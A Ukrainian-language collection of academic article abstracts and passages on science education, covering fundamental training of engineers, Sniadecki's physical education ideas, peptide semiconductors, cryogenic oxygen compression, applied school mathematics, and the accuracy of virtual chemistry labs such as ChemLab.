щоб наші випускники мали рівень кваліфікації не нижчий за рівень спеціалістів, що випускають кращі закордонні вузи!Проведений порівняльний аналіз навчального навантаження з математики, фізики і хімії для різних напрямків підготовки у нас і в деяких закордонних вузах також засвідчує, що питома вага майже з усіх фундаментальних дисциплін в них приблизно в два рази більша, ніж у нас. Деякі відхилення маємо в Краківській гірничій академії, але в Польщі зовсім інша система середньої освіти. В них дванадцятирічна середня освіта, причому в технічних ліцеях чи гімназіях, наприклад, учні вже вивчили матаналіз, який в нас студенти вивчають протягом першого курсу. Крім цього, в них має місце тісний зв’язок фундаментальних дисциплін з майбутньою професією. В австрійських і німецьких вузах, наприклад, назва дисциплін звучить так: математика для машинобудівників, чи електриків, чи економістів. Точно так само і фізика та хімія читаються відповідно до обраної спеціальності. Тут, на мою думку, йдеться про питання державної ваги і його треба вирішувати на відповідному рівні. Не принижуючи значення інших наук, необхідно все ж наголосити, що саме фундаментальні дисципліни формують основи наукового світогляду кожної людини, саме фізика, хімія і математика складають основу науково-технічного прогресу людства.Також треба визнати, що у справу погіршення фундаментальної освіти значний “внесок” робить і середня школа, в якій рівень знань учнів, наприклад, з фізики і хімії, вже опускається до критичної межі. Одним із каталізаторів такого становища стала відміна вступного іспиту з фізики на переважну більшість факультетів багатьох технічних університетів. Цей сигнал чітко зрозуміли вчителі, учні і їхні батьки. В результаті вузівські викладачі, а пізніше і викладачі інших технічних дисциплін, в розпачі від низького рівня знань фундаментальних дисциплін своїх студентів. Вони за перші семестри намагаються ліквідувати прогалини шкільної освіти, але це, як правило, не вдається. Пізніше такі студенти отримують дипломи інженерів, деякі вступають до аспірантури та стають викладачами, тобто колесо виродження все більше розкручується. Те, що в даний час відбувається із шкільними і вузівськими програмами фундаментальних дисциплін, є копіюванням нашою освітою чужих методик і ідей. Але саме наші спеціалісти, які навчались математики, фізики і хімії за традиційними програмами, є бажаними в різних зарубіжних наукових центрах, які працюють в галузі фізики плазми, твердого тіла, квантової електроніки, тощо. Тому не варто відкидати те позитивне, що напрацьовано десятиріччями і яке давало нам Нобелівських лауреатів та здобутки світового рівня у різних областях знань, технологій і техніки.Треба відзначити, що одне із найгостріших питань, які обговорювались на загальних зборах Відділення фізики і астрономії НАН України – низький рівень освіти з фізики у школах і вузах країни. До Президента України і уряду відповідне звернення підписали сорок дійсних членів та членів-кореспондентів НАН України. Як же покращити фундаментальну підготовку фахівців? Відомо, що тепер вузи мають значні автономні права і варто ними скористатися, не чекаючи рішень “згори”. В нашому національному університеті нафти і газу завдяки правильному розумінню ситуації з боку ректора, відомого у світі вченого в області механіки машин, академіка Української нафтогазової академії, професора Крижанівського Є.І., зроблені відповідні кроки щодо виправлення ситуації та покращення викладання фундаментальних дисциплін, без яких не може бути повноцінного інженера, який би успішно конкурував на міжнародному ринку праці. Два роки тому Вченою Радою університету було створено інститут фундаментальної підготовки, який згідно Положення є навчально-методичним, навчально-організаційним і науково-дослідним підрозділом університету на правах факультету для практичного втілення концепції вищої багатоступеневої інженерно-технічної освіти на базі глибоких фундаментальних знань з вищої математики, фізики і хімії. До складу інституту входять три кафедри фундаментальних наук, на черзі створення іще двох кафедр. Сьогодні можна констатувати, що створення такого інституту було необхідним і корисним, так як кафедри фізики, вищої математики і хімії вирішують спільні питання та об’єднані однією метою – покращити базову фундаментальну підготовку фахівців. Викладачі мають можливість обмінюватись досвідом своєї роботи, бо знаходяться на одному рівні, тоді як раніше були в певній мірі на другорядних ролях, оскільки кафедри відносились до різних факультетів, які більше розв’язують задачі спеціальної підготовки.Дуже важливим моментом у діяльності інституту була участь в організації і проведенні VIII науково-методичної конференції, на якій обговорювались питання фундаментальної підготовки фахівців і на яку були запрошені викладачі з інших вузів та вчителі шкіл і коледжів. При підготовці до конференції виконано значний об’єм роботи по вивченню і порівнянню навчальних планів різних спеціальностей у нашому університеті та багатьох європейських технічних вузах. Цей аналіз було покладено в основу рекомендацій, які затвердила наша Вчена Рада і які стали програмою діяльності інституту. Так, враховуючи неможливість перегляду навчальних планів спеціальностей в сторону збільшення аудиторних годин на вивчення фізики, математики, хімії, інформатики і програмування ми змістили акцент при їх викладанні в сторону профілізації навчального процесу в залежності від потреб профілюючої кафедри, тобто змінили зміст робочих програм дисциплін. Також на кафедрах інституту запроваджено керовану і контрольовану самостійну роботу, тобто йде мова про індивідуалізацію навчального процесу, оскільки світ на початку ХХ1 століття надзвичайно швидко змінюється, – вперше в історії розвитку людства покоління теоретичних ідей і машин змінюються в часі швидше, ніж покоління людей, а тому потрібно навчити студентів, майбутніх фахівців, самостійно знаходити необхідні знання в морі інформації що нас оточує для досягнення певного освітнього рівня. Для реалізації даного напрямку роботи потрібно змінити роль викладача: замість передавача певної суми знань студенту, він повинен стати координатором навчального процесу, консультантом, керівником навчання. Зауважу, що зміна функцій викладача – це довготривалий процес по підвищенню фахового рівня професорсько-викладацького складу.Проведений аналіз показав, що в нас є недостатнє забезпечення студентів навчально-методичною літературою. Тому в інституті сформовано єдиний план підготовки і випуску підручників, навчальних посібників, конспектів лекцій, електронних посібників тощо, а також створені творчі колективи, які повинні якнайшвидше забезпечити всіх студентів необхідними дидактичними матеріалами українською мовою.Дуже важливим напрямком діяльності інституту є налагодження співпраці і зв’язків наших кафедр із спорідненими кафедрами технічних вузів України. До речі, це один із шляхів більш швидкого забезпечення методичною літературою студентів внаслідок обміну, а також підвищення кваліфікації викладачів.Розв’язанню проблеми покращення фундаментальної підготовки майбутніх фахівців сприяє використання нових інформаційних та телекомунікаційних технологій проведення навчального процесу з використанням відповідних технічних засобів (аудіо- і відеоапаратури, комп’ютерів, телебачення, мережі Інтернет та ін.). Для цього потрібно використовувати як мізерні бюджетні кошти, так і залучати кошти різних фондів під проекти навчально-методичного характеру. Адже саме отримання грантів у великій мірі допомагає зміцнювати матеріально-технічну базу кафедр.Також хочу зачепити іще одне болюче питання вищої школи. З метою виживання зараз у вузах ми маємо поряд із студентами, які навчаються за рахунок бюджетних коштів, так званих контрактників. Це добре, але борючись за гроші ми намагаємось зберегти більшість студентів, що веде до зниження якості навчання. У даній ситуації кафедри фундаментальної підготовки в найгіршому становищі, тому що перед ними постає завдання виправлення браку середньої школи і відбору студентів для їх подальшого навчання. В нашому університеті знайдено вихід з даної ситуації: в навчальний процес впроваджено модульну технологію в поєднанні з визначенням рейтингу студентів. Було проведено п’ять науково-методичних конференцій, результати роботи яких дозволили розробити і вдосконалити “Положення про систему поточного, підсумкового контролю і оцінювання знань та визначення рейтингу студентів”. Треба відзначити, що через консерватизм характеру людини, все нове важко приживається. Але завдяки саме волі ректора Крижанівського Є.І. дана система організації і проведення навчального процесу працює, стимулюючи систематичну і самостійну роботу студентів протягом всього семестру. Вона підвищує об’єктивність оцінки знань, активізує навчальну діяльність та розвиває творчі здібності студентів, а результати екзаменаційних сесій та висновки більшості викладачів стверджують, що впровадження даної технології навчання є виправдане і сприяє підвищенню фахового рівня спеціалістів.Аналізуючи етапи і тенденції розвитку фундаментальної підготовки в технічному вузі приходимо до висновку, що зараз, коли створені нові форми і методи управління навчальним процесом, потрібен перехід до нових принципів формування змісту. Тому, створюючи нові інтенсивні технології навчання, треба зберегти глибокі традиції нашої фундаментальної підготовки та поєднати їх із здоровим прагматизмом заходу, тобто додати їй прикладну спрямованість. Це потребує координації зусиль викладачів різних предметів, великих затрат часу, тому що ці технології повинні базуватись на ідеї синтезу усіх дисциплін та принципу фундаментальності освіти, які об’єднують закономірності процесу пізнання і повинні враховувати ментальність нашого народу.

Вступ. У статті розкрито просвітницьку діяльність у галузі фізичного виховання видатного польського вченого А. Снядецького. Становлення й розвиток системи фізичного виховання дітей та молоді на польських землях наприкінці ХVIII ст. проходило в дуже складних суспільно-політичних й економічних умовах, що пов’язано, передусім, з утратою національної незалежності. Землі Польщі після завершення наполеонівських війн поділено між трьома державами – Росією, Пруссією та Австро-Угорщиною, – що спричинило значний спад функціонування економіки, національної культури та освіти. Характерним для польської освіти тих часів, зокрема й для фізичного виховання молодого покоління, стала відмінність функціонування організаційно-навчальних форм у різних типах навчальних закладів, які перебували під контролем іноземних адміністрацій. Саме в цей складний час польської історії довелося жити й працювати видатному польському вченому Анджею Снядецькому. Методи дослідження – вивчення літературних джерел, документальних матеріалів, теоретичний аналіз і синтез отриманих даних. Результати дослідження. Анджей Снядецький (1768–1838) польський хімік, біолог, лікар, але також філософ та педагог був яскравим прикладом представника епохи Просвітництва, ученого, якого вважають у Польщі батьком хімічних наук, гігієни, дієтології та фізичного виховання. Одним із найважливіших творів А. Снядецького, у якому він виразив свою громадянську позицію, турботу про майбутнє польського народу, передусім про його біологічний потенціал, є праця «Про фізичне виховання дітей», публікація якої розпочалася в 1805 р. А. Снядецький був критично налаштований до домашньої системи освіти й виховання, як серед шляхти, так і стосовно міщанських сімей. У своїй критиці він особливу увагу звертав на відсутність у домашній освіті та вихованні чітких засад і правних норм, однобокість процесу виховання, спрямованого в основному на розвиток духовної сфери з нехтуванням фізичного розвитку дітей і молоді. У своїй праці А. Снядецький представив власну концепцію й програму виховання. Висновки. Ключову роль, на думку вченого, у всебічному вихованні дітей та молоді повинно відігрівати фізичне виховання, суттєвим елементом якого є рухова активність на свіжому повітрі та гартування й гігієна тіла. Погляди вченого на виховання дітей та молоді ефективно інтегрували природниче, медичне й педагогічне знання. Значну роль у формуванні та розвитку концепції виховання А. Снядецького мали ідеї французьких просвітителів, особливо Ж.-Ж. Руссо.

Дослідження присвячено проблемам використання біологічних інструментів для нанотехнологічних застосувань, не пов'язаних із біологією, таких як мікроелектроніка та наноелектроніка, мікроелектромеханічні та наноелектронні системи. Здійснено узагальнення досвіду використання біологічних інструментів і каркасів для створення пептидних наноструктУрованих напівпровідників. У результаті дослідження з'ясовано, що забезпечення більшої селективності, яке проявляється білками в біологічній хімії, можна досягти одночасним використанням декількох неорганічних матеріалів для паралельної конструкції, наприклад, як перша комбінація самозборки на основі ДНК і молекулярного розпізнавання пептидів для демонстрації візерункової синтетичної біомінералізації. Короткі пептиди, що містять ароматичні амінокислоти, можуть самоорганізовуватися в різні надмолекулярні структури, які залишаючись кінетично та термодинамічно стабільними, утворюють агрегати дифенілаланіну або фенілаланін-триптофану. Різні методи утворення агрегатів можуть бути використані для ініціації специфічної функціоналізованої організації нано-струткурних блоків із точно настроєною структурною геометрією та контрольованими напівпровідниковими характеристиками. Такі методи налаштування включають мікрофлюїдику, молекулярну модифікацію, хімічні та фізичні методи осадження з пароподібного стану, збірний стратегічний метод одночасного укладання, а також використання зовнішнього електромагнітного поля. Залучення теорії молекулярної щільності показало, що великі спрямовані ароматичні амінокислотні при взаємодії з мережами, які зв'язують водень, призводять до утворення квантово замкнутих областей в органічних наноструктурах, які лежать в основі молекулярного походження їх напівпровід-ності. Останні дослідження додатково виявили деякі фізико-хімічні особливості біоінспірованих надмолекулярних органічних напівпровідників, включаючи стійкі спектри поглинання, характерні для одновимірних квантових точок, або двомірних квантових свердловин, емісію фотолюмінесценції оптичних хвилеводів, залежну від температури електропровідність, а також сегнетоелектричні (п'єзо- та піроелектричні) властивості.

Стаття присвячена можливостям впровадження системно-інтегративного підходу до підготовки учителів-магістрів у процесі опанування ними циклу фундаментальних наук (фізики, астрономії, астрофізики, космології, космогонії, хімії). Формулювання проблеми. Обґрунтувати можливість одного з варіантів системно-інтегративного підходу щодо структурування і вивчення навчального матеріалу про фундаментальні взаємодії в природі і сучасний стан процесу об’єднання теорій, що їх описують. Матеріали і методи. У якості методів дослідження використовувалися комплексний аналіз науково-методичних джерел, в яких репрезентується системно-інтегративний підхід до вирішення педагогічних проблем, та синтез відповідних результатів досліджень, опублікованих у науково-педагогічних виданнях, з результатами авторських наробок щодо експериментального їх впровадження в освітню практику. Інтегративність змісту матеріалу про фундаментальні взаємодії в природі пропонується викладати послідовно у формі трьох підтем (питань). Спершу розглядається природа всіх фундаментальних взаємодій, їх загальна характеристика, порівняльні дані за величиною чисельних значень, формули безрозмірних світових констант, що описують ці взаємодії, прояв фундаментальних взаємодій (сил) у фізиці, астрономії, хімії тощо. Наступний етап полягає у визначенні впливу зміни чисельних значень світових констант на еволюцію Всесвіту. Після цього на якісному рівні розглядаються сучасні теорії, які намагаються об’єднати в єдину систему (наукову картину світу) всі фундаментальні взаємодії. Результати. Внаслідок проведеного дослідження з’ясовано, що можливості інтегративного вивчення матеріалу про фундаментальні взаємодії у природі, підкреслюють їх фундаментальні протилежні властивості (далекодіючий характер гравітаційної і електромагнітної взаємодій та близькодіючий – слабкої і сильної), які в поєднанні й визначають структурну єдність і еволюцію нашого Всесвіту, можливість існування множинності інших всесвітів, властивість невичерпного «дроблення» матерії на все менші і менші частинки, підтверджуючи тим самим діалектику єдності і боротьби протилежностей. Висновок. Системно-інтегративний підхід до вивчення фундаментальних взаємодій у природі дає можливість інтерпретувати фундаментальне значення різниці між далекодіючими і близькодіючими силами природи: з одного боку – взаємодії необмеженого радіуса дії (гравітація і електромагнетизм), а з іншого – малого радіуса (сильна і слабка). Цим й демонструється, що світ природних процесів розгортається в межах цих двох полярностей і разом з тим втілює єдність гранично малого і безмежно великого – мікросвіту і мегасвіту, елементарної частинки і всього Всесвіту. Іншими словами – опис природи пролягає між двома протилежними картинами. У цьому «серединному» описі фізичні закони призводять до нової форми пізнання, яка виражається ймовірнісними уявленнями. Тобто, будучи пов’язаними з динамічною нестійкістю природних систем (як мікро- так і макроскопічних), закони природи оперують лише з можливістю подій, а не роблять окремі події наперед передбачуваними.

Різні споживачі (металургія, великотоннажна хімія, енергетика, медицина і т.п.) потребують газоподібний кисень, стиснений до тисків 0,6...16 МПа. У першій половині 20-го століття створювали кріогенні повітророзподільні установки (ПРУ), в яких вироблений газоподібний кисень на виході з блоку розділення стискувався в кисневому компресорі (поршневому або відцентровому) до необхідного тиску. Після появи кріогенних насосів кисень стали стискати в них, а потім газифікувати з використанням теплоти потоку переробляємого повітря. На перший погляд ця схема здавалася досить ефективною, хоча і не позбавленою деяких недоліків. Проведено термодинамічний аналіз повітророзподільних установок для отримання газоподібного кисню під тиском. Виконано порівняння показників ПРУ, які працюють за схемою із стисненням продукційного кисню в компресорі і зі стисненням в насосі рідкого кисню з наступним нагріванням до температури навколишнього середовища в основному теплообміннику. В результаті проведеного аналізу виведено безрозмірний критерій, фізичний зміст якого полягає в тому, що він показує відношення роботи, що витрачається в кисневому компресорі до додаткової роботи, яку необхідно затратити для компенсації термодинамічних втрат, пов'язаних з роботою насоса рідкого кисню. Розглянуто приклад використання отриманих співвідношень для аналізу ПРУ, що працює по циклу середнього тиску і призначеної для отримання газоподібного кисню під тиском 16 МПа. Термодинамічний аналіз такої установки показує, що витрата енергії на стиснення кисню в схемі з насосом може бути в 1,5 рази менше витрати енергії при використанні кисневого компресора. Аналіз ПРУ низького тиску показав, що при тиску продукційного кисню нижче 7-8 МПа схеми з насосом рідкого кисню більш ефективні, ніж традиційні схеми із стисненням продукційного кисню в компресорі. При тиску продукційного кисню вище 7-8 МПа енергетично вигідніше стає схема з кисневим компресором.

Стаття присвячена проблемі прикладної спрямованості в процесі вивчення математики у старшій школі. Проблема прикладної та практичної спрямованості в процесі навчання математики не є новою. На всіх етапах її становлення і розвитку вона була пов'язана з безліччю питань, більша частина яких до цих пір не вирішена. Багато випускників школи за час навчання не навчилися застосовувати математичні відомості, не опанували уміння логічно міркувати в повсякденному житті, тобто не усвідомили прикладний характер математики. Насправді ж, вони просто не зрозуміли, що математика є сплетінням абстрактної математики і прикладної математики. Перехід на нові освітні стандарти висуває необхідність вводити прикладну спрямованість шкільної освіти. Універсальність математичних методів дозволяє відобразити зв'язок теоретичного матеріалу різних областей знань з практикою. Передбачити всі аспекти застосування математики в майбутній діяльності учнів практично не можливо, а тим більше складно розглянути всі ці питання в школі. Науково-технічна революція у всіх областях людської діяльності висуває нові вимоги до знань, технічної культури, загального і прикладного характеру освіти. Це ставить перед сучасною школою нові завдання для вдосконалення освіти. Отже, прикладна спрямованість шкільного курсу математики здійснюється з метою підвищення якості природничо-математичної освіти учнів, застосування їх математичних знань до вирішення завдань повсякденного життя і в подальшій професійній діяльності. У статті обґрунтовується необхідність використання прикладних задач з математики в старших класах закладів середньої освіти, та пропонується комплекс задач. Задачі прикладного змісту дають можливість для реалізації загально-дидактичних принципів в процесі навчання математики. Варто також відзначити, що саме прикладні завдання можуть використовуватися з різною дидактичною метою: можуть мотивувати, зацікавити, сприяти розвитку розумової діяльності, пояснити зв'язок між математикою та іншими шкільними дисциплінами (фізика, біологія, інформатика, хімія, економіка, тощо), та зв’язок між математикою та нематематичними областями.

Перехід сучасного суспільства до інформаційної епохи свого розвитку висуває як одне з основних завдань, що стоять перед системою освіти, завдання формування основ інформаційної культури майбутнього фахівця. Процеси модернізації та профілізації вітчизняної шкільної освіти так само, як і модернізації вищої освіти (участь у створенні єдиного європейського простору, впровадження дистанційної освіти тощо) ведуться на базі інформаційно-комунікаційних технологій навчання. Метою даної статті є обговорення ролі сучасних комп’ютерних моделей у навчанні хімії, та проблеми якості відображення реальних хімічних процесів у комп’ютерних моделях, якими є віртуальні хімічні лабораторії.Дидактична роль нових інформаційних технологій полягає, перш за все, в активізації пізнавальної діяльності і творчого потенціалу учнів [5]. Необхідно створювати умови, аби учень став активним учасником навчального процесу, а вчитель був організатором пізнавальної діяльності учня. Адже вивчення будь-якої навчальної дисципліни – не мета, а засіб розвитку особистості. Ефективність застосування комп’ютерів у навчальному процесі залежить від багатьох чинників, у тому числі й від рівня самої техніки, від якості навчальних програм і від методики навчання, що застосовується вчителем. Більшість педагогів переконані в тому, що комп’ютер є потужним засобом для творчого розвитку дітей, дозволяє звільнитися від багатьох рутинних видів роботи і розробити нові ідеї в методиці навчання, дає можливість вирішувати більш цікаві і складні проблеми [5].Будь-який ілюстративний матеріал (мультимедійні й інтерактивні моделі в тому числі) значно розширюють можливості навчання, роблять зміст навчального матеріалу більш наочним, зрозумілим, цікавим. Не можна скидати з рахунків і психологічний чинник: сучасному учневі чи студенту набагато цікавіше сприймати інформацію саме в інтерактивній формі, ніж за допомогою застарілих схем і таблиць. Використання комп’ютерних моделей, комп’ютерних засобів візуалізації значно підвищує ефективність засвоєння матеріалу[5].Сучасні школярі, які здебільшого є представниками «покоління відеоігор», орієнтовані на сприйняття високоінтерактивного, мультимедіа насиченого навчального середовища. Згаданим вище вимогам якнайкраще відповідають освітні програми, що моделюють об’єкти і процеси реального світу і системи віртуальної реальності. Прикладом таких навчальних систем є віртуальні лабораторії, які можуть моделювати поведінку об’єктів реального світу в комп’ютерному освітньому середовищі і допомагають учням опановувати нові знання й уміння в науково-природничих дисциплінах, таких як хімія, фізика і біологія [3].Хімія – наука експериментальна, її завжди викладають, супроводжуючи демонстраційним експериментом. Ні для кого не є секретом, що матеріальний стан більшості шкіл в Україні є, м’яко кажучи, неідеальним. Дуже часто для демонстрації хімічного досліду не вистачає необхідних реактивів чи обладнання, тому доводиться обходитись теоретичним розглядом лабораторної роботи або проводити один дослід на весь клас. У такому випадку на допомогу вчителеві приходять саме спеціалізовані комп’ютерні програми, на кшталт віртуальних хімічних лабораторій, що дозволяють провести (саме провести, а не спостерігати) дослід у наближених до реальності умовах. Також, наприклад, при вивченні токсичних речовин, зокрема галогенів, віртуальне середовище надає можливість проводити хімічний експеримент без ризику для здоров’я учнів [4].На даний момент розроблена велика кількість навчальних програм для шкільного курсу хімії. Жодна з цих програм не є досконалою, проте сам факт їх створення свідчить про те, що в них існує потреба і вони мають безперечну цінність. Для того, щоб у дитини виник інтерес до співпраці з комп’ютером і в процесі цієї спільної творчості стійка пізнавальна мотивація до вирішення освітніх, дослідницьких завдань, необхідне створення таких умов, при яких учень стає безпосереднім учасником подій, що розвиваються на екрані монітора, тобто умов для повноцінного діяльнісного підходу до навчання.Умова успішного застосування комп’ютерних моделей в освітньому процесі сучасної школи закладена в добре відомих принципах педагогіки співпраці, які можна перефразовувати так: «не до комп’ютера за готовими знаннями, а разом з комп’ютером за новими знаннями» [3].Головна перевага віртуальних хімічних лабораторій полягає в тому, що віртуальні хімічні експерименти безпечні навіть для непідготовлених користувачів. Учні можуть також проводити такі досліди, виконання яких в реальній лабораторії може бути небезпечне або коштує надто дорого. Звичайно, за допомогою віртуальних дослідів не можна опанувати навички реального хімічного експерименту, але віртуальні досліди можуть застосовуватися, наприклад, для ознайомлення учнів з технікою виконання експериментів, хімічним посудом і устаткуванням перед безпосередньою роботою в лабораторії. Це дозволяє учням краще підготуватися до проведення цих або подібних дослідів в реальній хімічній лабораторії. Також проведення віртуальних експериментів допомагає учням та студентам засвоїти навички запису спостережень, складання звітів та інтерпретації даних в лабораторному журналі. Іще слід наголосити на тому, що комп’ютерні моделі хімічної лабораторії за певних умов можуть спонукати учнів експериментувати і отримувати задоволення від власних відкриттів [3].За способом візуалізації розрізняються лабораторії, в яких використовується двовимірна, тривимірна графіка і анімація. Крім того, віртуальні лабораторії можна поділити на дві категорії залежно від способу представлення знань у предметній області. Віртуальні лабораторії, в яких представлення знань у предметній області засновано на окремих фактах, обмежені набором заздалегідь запрограмованих експериментів. Цей підхід використовується при розробці більшості сучасних віртуальних лабораторій. В таких програмах змінити умови проведення експерименту і одержати якісь інші результати неможливо. Інший підхід дозволяє учням проводити будь-які експерименти, не обмежуючись заздалегідь підготовленим набором результатів. Це досягається за допомогою використання математичних моделей, що дозволяють визначити результат будь-якого експерименту і відповідний візуальний супровід. На жаль, подібні моделі поки що можливі тільки для обмеженого набору дослідів [3]. Переваги і недоліки вищезгаданих програмних продуктів достатньо повно були висвітлені Т. М. Деркач, яка, до речі, пропонує використовувати термін «імітаційні хімічні лабораторії» [1; 2].Суттєвою перевагою таких віртуальних лабораторій як ChemLab (виробник: Model Science Software), Croсоdile Chemistry (Crocodile Clips Ltd), Virtual Lab (The ChemCollective) є можливість активного втручання учня у хід роботи, а не пасивне спостерігання за відеофрагментом чи анімацією, що запрограмовані заздалегідь. При виконанні лабораторної роботи за допомогою вищезгаданих програм учень може повторити її безліч разів, при цьому щоразу змінюючи один чи декілька параметрів на власний вибір. В більшості випадків (якщо дії учня не суперечать логіці і можливі для виконання і у реальній лабораторії) учень отримає правильні результати, що лише підкреслить ті закономірності, виявлення яких і було метою роботи. Скажімо у лабораторній роботі «Гравіметричне визначення хлорид-йонів» («Gravimetric Analysis of Chloride») у віртуальній лабораторії ChemLab учень чи студент може замість запропонованих в інструкції 5 г речовини, що містить хлорид-йони, взяти 3, чи 6, чи 10 г її. Але в кожному випадку він отримає і відповідну масу осаду арґентум хлориду, за якою, при виконанні обчислень, прийде до одних і тих самих результатів і висновків.Подібний підхід, коли учень може проявити власну ініціативу при виконанні роботи, дуже позитивно відбивається і на навчальних досягненнях і на зацікавленості учнів. Але разом з ініціативою учні можуть також підключити і власну фантазію – спробувати виконати такі дії, які не були передбачені сценарієм проведення даної роботи (наприклад, нагріти розчин до кипіння, або навпаки охолодити його до температури замерзання) просто із цікавості, тим більше, що у ChemLab можна використовувати обладнання, застосування якого не передбачалось сценарієм виконання роботи. Результати таких незапланованих дій можуть переноситись учнями і на відповідні об’єкти та процеси реального світу, а тому до віртуальних лабораторій завжди висувалась жорстка вимога суворої відповідності віртуальних об’єктів та процесів реальним об’єктам і процесам.Тут доводиться констатувати протиріччя, яке існує в середовищі користувачів віртуальних хімічних лабораторій: методистів, розробників, вчителів, учнів тощо. Справа в тому, що немає і, мабуть, не може бути єдиної думки з приводу того, наскільки повно віртуальні процеси повинні відтворювати об’єктивну реальність. З одного боку, чим більше віртуальний світ схожий на реальний, тим нібито краще – в такому випадку навчання хімії за допомогою віртуальних комп’ютерних лабораторій виходить на якісно новий, більш високий рівень, з’являється набагато більше можливостей і форм застосування навчальних лабораторій у навчанні хімії, зникають передумови для одержання хибних висновків при їх використанні. Але, з іншого боку, врахування найменших дрібниць і максимальної кількості можливих варіантів розвитку подій неминуче призведе до значного ускладнення комп’ютерних програм, суттєвого збільшення баз даних і, як наслідок, подорожчання та подовження часу на розробку відповідних програмних продуктів, та, скоріш за все, суттєво ускладнить використання таких програм людьми без спеціальної підготовки. Не кажучи вже про те, що передбачити всі можливі варіанти дій користувача у віртуальній лабораторії просто неможливо.Інша точка зору полягає в тому, що віртуальні хімічні лабораторії в першу чергу є моделями, тобто системами, що відтворюють, імітують, відображають принципи внутрішньої організації або функціонування, певні властивості, ознаки чи характеристики об’єкта дослідження (оригіналу). Модель завжди є спрощеною версією модельованого об’єкта або явища (прототипу), що в достатній мірі повторює властивості, суттєві для цілей конкретного моделювання (опускаючи несуттєві властивості, в яких вона може відрізнятися від прототипу).Подібне визначення поняття «модель» фактично означає, що такі програми як віртуальні хімічні лабораторії, не повинні перевантажуватись «зайвими дрібницями» – несуттєвими для виконання певної роботи чи досліду зовнішніми ознаками, фактами і процесами. Окрім того, так само як викладач не залишить без догляду учнів у реальній лабораторії, так і викладач, що застосовує віртуальну лабораторію на занятті, повинен бути постійно поруч з учнями, надаючи їм відповідних порад або роз’яснюючи результати спостережень, що викликали питання або сумніви. Таким чином, можна попередити формування в учнів хибних уявлень, неправильних висновків тощо.У представників обох точок зору є свої аргументи. Наприклад, при виконанні стандартної лабораторної роботи в середовищі програми ChemLab «Фракційне розділення солей» («Fractional Crystallization»), сутність якої полягає в тому, що учневі пропонується розділити суміш солей (натрій хлориду та калій дихромату), використовуючи їх різну розчинність у воді за різних температур. Подібні процеси досить поширені як в промисловості (виробництво калійних добрив), так і в лабораторії (перекристалізація солей з метою їх очищення), хоча і в більш складному вигляді. Хід роботи включає в себе такі стадії: відбір наважок солей певної маси; їх розчинення у воді кімнатної температури; нагрівання розчину до повного розчинення калій дихромату; охолодження розчину до 0оС; відділення осаду калій дихромату; зважування калій дихромату, що випав в осад, та відповідні розрахунки.Якщо прискіпливо проаналізувати дану роботу, в ній можна знайти ряд неточностей або спрощень:1) при розчиненні калій дихромату у воді розчин залишається безбарвним;2) відсутній тепловий ефект при розчиненні обох солей;3) не враховано взаємний вплив солей на їх розчинність;4) розчин солей при охолодженні до температури замерзання не кристалізується;5) температура кипіння розчину солей дорівнює температурі кипіння ізомолярного з ним розчину будь-якого неелектроліту;6) зважування одержаного калій дихромату можна провести з високою точністю без попереднього промивання і висушування;7) відсутність допоміжного лабораторного обладнання (штативів, тримачів, шпателів, вакуум-насосу тощо) та можливість відбору наважок речовин без використання терезів.Подібні неточності можна знайти і у всіх інших лабораторних роботах програми ChemLab, але в більшості випадків ці неточності неочевидні, і, найголовніше, не відбиваються ані на одержанні результатів експерименту, ані на їх інтерпретації.Крім того, застосовуючи інструментарій майстра LabWіzard, що дозволяє користувачу створювати власні лабораторні роботи у ChemLab, певну кількість подібних невідповідностей можна заздалегідь передбачити й усунути у створених власноруч лабораторних проектах.[2; 4]Викладач, що використовує віртуальні хімічні лабораторії, обов’язково повинен наголосити на тому, що у віртуальній хімічній лабораторії присутні певні спрощення та невідповідності з об’єктивною реальністю. У групі учнів, що мають високий рівень знань і хімічного мислення, можна навіть побудувати роботу на тому, щоб знайти і обговорити подібні неточності. Наприклад, в рамках курсу «Комп’ютерне моделювання хімічних процесів», що викладається на ІІІ курсі спеціальності «Хімія» у Криворізькому педагогічному інституті, при розгляді особливостей віртуальної лабораторії ChemLab перед студентами була поставлена задача обґрунтовано довести наближений характер розрахунку температури початку кипіння розчину натрій хлориду у даній програмі (в межах лабораторної роботи «Fractional Crystallization»). Студенти на основі другого закону РауляΔtкип=kеб*b – для розчинів речовин-неелектролітів (1)Δtкип=i*kеб*b – для розчинів речовин-електролітів; (2)де kеб – ебуліоскопічна константа розчинника, b – моляльна концентрація розчиненої речовини (моль/кг), і – ізотонічний коефіцієнт, обчислювали температуру початку кипіння для розчину натрій хлориду тієї концентрації, яку вони самі створили у віртуальній хімічній лабораторії. Далі утворений віртуальний розчин нагрівали до кипіння і зазначали температуру початку кипіння. Вона збігалась із розрахованою за формулою (1), тобто без урахування ізотонічного коефіцієнту, який для розчину натрій хлориду повинен наближатись до 2. Значить реальна Δtкип розчину майже вдвічі повинна була б перевищувати Δtкип розчину у віртуальній лабораторії. Висновок зроблений студентами: в даній лабораторній роботі з метою спрощення не враховувався процес іонізації солі, оскільки для моделювання процесів розчинення солей за різних температур він особливого значення не має.Подібний недолік комп’ютерної програми може створити незручності з одного боку, але може бути перевагою з іншого: на основі розгляду подібних фактів можна в цікавій і нестандартній формі залучити групу студентів до повторення навчального матеріалу з різних розділів хімії та розв’язку розрахункових задач.Таким чином, можна зробити висновок про те, що віртуальні хімічні лабораторії є безумовно ефективним інструментом в руках вчителя або викладача хімії. Кожна з віртуальних хімічних лабораторій є моделлю, що описує реальні явища і процеси, а тому неминуче містить ряд спрощень і неточностей, як в плані графічного відображення об’єктів, так і в плані причинно-наслідкових зв’язків між діями користувача та їх результатами у віртуальному середовищі. Головною метою проведення дослідів у віртуальних комп’ютерних лабораторіях є усвідомлення самої сутності явища, що вивчається, його головних закономірностей, а недосконалість візуальних чи інших ефектів має другорядне значення. Подальший розвиток і вдосконалення віртуальних хімічних лабораторій, скоріш за все, буде відбуватись у напрямку збалансування простоти представлення моделі та максимальної її реалістичності.Враховуючи все, сказане вище, можна з упевненістю сказати, що розробка і впровадження віртуальних хімічних лабораторій залишається одним з пріоритетних напрямків у процесі вдосконалення навчання хімії у середній та вищій школі.

